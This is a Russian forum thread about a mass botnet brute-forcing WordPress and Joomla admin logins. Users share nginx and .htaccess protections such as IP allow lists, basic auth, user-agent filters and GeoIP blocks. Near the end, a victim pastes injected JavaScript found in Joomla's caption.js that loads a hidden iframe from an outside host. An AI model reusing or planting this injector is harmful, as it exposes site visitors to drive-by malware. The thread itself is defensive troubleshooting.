Большая атака ботов на Wordpress-сайты

Все время все долбятся на wordpress и на ssh и на фтп, по моему этому явлению уже годы.

Не соглашусь. Атака на самом деле достаточно серьезная. У меня в блек лист пордяка 10 тыс ip ушло, причем на wp всего 5 сайтов. Пока на всех wp-login не прикрыл сервак вешался минут за 20-30. А учитывая массовость, я думаю что все же новость «достойная».

Серваки ни разу не ложились из-за этой атаки.
Подбор активней чем обычно — да.
Решается дополнительной HTTP-авторизацией на wp-login.php

Spaceweb из-за этого прикрыл админку сайтов на Joomla и Wordpress.

Подбор на пару порядков активней шел.
Решил доп.авторизацией, плюс добавил ограничение на ip.

Кстати, коллеги, подскажите пожалуйста, у меня часть WP на nginx+php-fpm и с таким доп.ограничением были проблемы:
Написал вот так, чтобы заработало:

location = /wp-login.php {
allow xx.yy.0.0/16;
deny all;

# без этого участка обращение к wp_login.php предлагало его просто скачать, а не выполнить
fastcgi_split_path_info ^(.+\.php)(/.+)$;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name;
fastcgi_pass php;

# запрашиваем доп пароль:
auth_basic «Hi! Admin»;
auth_basic_user_file /etc/nginx/adminpasswd;
}

Интересует, как можно было бы избавиться от средней части (чтобы не предлагало скачать, а выполняло скрипт).
Хотелось бы, чтобы директивы

allow xx.yy.0.0/16;
deny all;

просто запретили или пропустили дальше на следующие правила. Что то моих знаний не хватает с такой проблемой разобраться, пришлось городить среднюю часть.

Брутили админку IPB, очень упорно, поразительно упорно.

Защитил свои wordpress сайты так

## Block user agents
		location ~ ^/(wp-login\.php) {
                	set $block_user_agents 0;
			if ($http_user_agent ~ "Gecko/20100101 Firefox/1") {
				set $block_user_agents 1;
			}
			if ($block_user_agents = 1) {
				return 403;
			}
			proxy_pass http://159.253.23.246:8080;
			proxy_redirect http://ipod-touch-max.ru:8080/ /;
			proxy_set_header Host $host;
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
			proxy_set_header X-Real-IP $remote_addr;

  		}		
		## Block user agents

Ну и я тогда свои 5 копеек добавлю.

<IfModule mod_rewrite.c>

# BEGIN WordPress
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress

# anti wp password bruteforce attack
RewriteCond %{REQUEST_URI} wp-login.php|wp-admin
RewriteCond %{HTTP_USER_AGENT} !^Opera/[0-9.]+
RewriteRule . - [R=404,L]
# end anti wp password bruteforce

</IfModule>

php_value upload_max_filesize 4M

В админку попадут только юзеры использующие оперу, а для остальных — 404.
Учитывая что обычно ботами в User-Agent используется «Mozilla/5.0», это пока работает.

Ага брутят. Когда 100500 сайтов на WP это весьма заметно.

В наше тяжелое время без двойной авторизации уже никуда. Самое примитивное — сначала http авторизация (.htaccess) чтобы добраться до login.php. Или посложнее — чтобы логин не проигнорировал запрос, перед этим этот же ИП должен просто зайти на определенный секретный УРЛ с «пустой» страницей. Или еще сложнее — патч к ядру, который ловит нестандартный пинг и открывает порт ;)

Reg.ru тоже прикрыли админку

Да все подряд админ-панели прикрывают, а у меня ещё и ФТП закрыли…

Для тех кто считает, что это недостойно хабра — ботнет больше 100 тыс. машин и растет, не припомню атаки таких размеров на wordpress.

Для примера на одном из серверов около 15 сайтов на wordpress, по статистике apache примерно 90-95% запросов к сайтам это подбор паролей, можно представить насколько увеличилась нагрузка на сервер, трафик.

Для тех кто добавляет ip ботена в блеклист — ботнет в том числе из зараженных компьютеров пользователей, которые не смогут попасть к вам на сайты.

Письмо от хостера beget,ru, немного больше подробностей:

В течении последних двух дней идет активный перебор паролей на популярных CMS.
Ботнет, с которого осуществляется перебор, паролей превышает 100000 машин и постоянно
увеличивается, и, как показала практика, часть ботнета — компьютеры обычных
пользователей, зараженных вирусом. Блокирование таких ботов приводит к недоступности
сайтов у данных пользователей.

После взлома сайта, через инсталяцию вредоносного кода сайт подключается к
перебору паролей на других серверах. Тут нужно пояснить, что в данном случае
подвержены проблемам не только наши сервера, перебор паролей осуществляется
глобально.

Еще, например, популярный linode.com также под атакой: status

Попробуйте плагин Protected wp-login для защиты wp от брутфорс атак.



Из особенностей:
* снижение нагрузки от брутфорса.
* дополнительная защита от взлома.
* простота настройки и установки
* минимальная нагрузка на сайт от плагина. (очень легкий)
* есть русская локализация

Домашняя страничка плагина: themext.com/
Ссылка в каталоге wordpress.org/plugins/protected-wp-login/

Спасибо, очень своевременно. Доля запросов к wp-login.php 28.11% Не самый слабый виртуальный сервер ложился уже раза три.

Попробовать fail2ban, есть и как плагин здесь.
Хотя гораздо проще руками, если есть понятие как работают фильтры fail2ban.
У меня обычно им «защищено» все что можно от pam-generic и ssh до мыла и веб-морды. Не панацея, но от брута (хотя бы в смысле экономии трафика) спасает очень.
Хорошая практика закрыть вообще любые админки и открывать белым списком IP «по стуку» или после дерганья секретного URL по https.

Пару дней назад как раз отказалась показываться страница wp-admin.php, долго и безрезультатно бился.
Nginx на запрос страницы выбрасывал 404, что было крайне странно. Т.к. прямого доступа к хосту не было не смог глянуть что там творится.
А оказывается вот оно что…

более универсальный вариант, на уровне nginx — идея запретить доступ к wp-login.php всем кто не из России

http {
......
geoip_country /usr/share/GeoIP/GeoIP.dat;
    map $geoip_country_code $allowed_country {
        default no;
        RU yes;
        UA yes;
    }
    server{
               location ~ ^/(wp-login\.php) {
			if ($allowed_country = no) {
				return 444;
			}
               }
    }
}

Вообще-то не с 2-го, а гораздо раньше. Мой бложик с месяц уже активно брутфорсят. Какое было мое удивление, когда я обнаружил error_log размером 14 гигов. В итоге дабы error_log опять не расползался пришлось прикрутить через .htaccess дополнительную авторизацию на wp-login.php Не уверен, что это правильно, но работает.

Есть жертвы!

Яндекс шлет письма о вредоносном коде.

Почти все джумлы на аккаунте (штук 10) в файле media/system/js/caption.js добавлен код в конец

var ifYnXm3 = document.createElement('iframe');
ifYnXm3.name = 'ifYnXm3';
ifYnXm3.src = 'хттп://asnem .listen-it .com/';
ifYnXm3.style.width = '0px';
ifYnXm3.style.height = '0px';
window.onload = function() {
if (document.cookie.indexOf('ifYnXm3=') == -1) { 
document.getElementsByTagName('body')[0].appendChild(ifYnXm3); 
document.cookie = 'ifYnXm3=yes; 
path=/; 
expires=Wednesday, 18-May-33 03:33:20 GMT';}
};

дата изменения файлов не изменена!

Такой же код как минимум в одном файле jquery.min

Как искать дыру? Могли ли они залить скрипт на сервер? Смена паролей решит проблему?